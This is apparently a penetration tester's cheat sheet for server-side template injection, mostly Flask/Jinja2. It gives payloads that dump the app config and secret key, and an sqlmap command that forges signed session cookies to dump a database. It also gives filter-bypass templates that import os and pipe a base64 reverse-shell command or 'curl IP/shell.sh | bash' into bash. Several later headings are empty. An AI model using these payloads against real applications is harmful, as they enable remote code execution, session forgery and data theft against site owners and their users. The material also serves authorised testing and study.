SSTI
Flask-Jinja2
Get the secret key
{{ config }}{{config.getitems()}}
# Bypass "." filter
{{config|attr('getitems')()}}Decrypt the cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'SQLi in flask session with sqlmap
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dumpBypass filtered ->
'_.{{}}iffor
{% with abuqasem=request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo <Base64EncodedReverseShellCommand> | base64 -d | bash -i")["read"]() %}abuqasem{% endwith %}To exploit SSTI by image upload
{% with abuqasem=request["application"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("curl IP/shell.sh | bash")["read"]() %}
{{ abuqasem }}
{% endwith %}Bypass filtered ->
()
Link: https://unicode-search.net/unicode-namesearch.pl?term=PARENTHESIS
Bypass Filtered ('.','_','|join','[',']','mro' ,'base','import','popen','builtins','os')
Subprocess.Popen
Note: Try playing with stdout descriptor to get ouptut.
Unique list of payloads
Mako
More payloads: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#mako
Twig 1.9
SpringBoot
Thymleaf-engine
Read
/etc/passwd
Exploit Script
References
Pug
Bypass the following blacklist
Payload:
Further reading
Last updated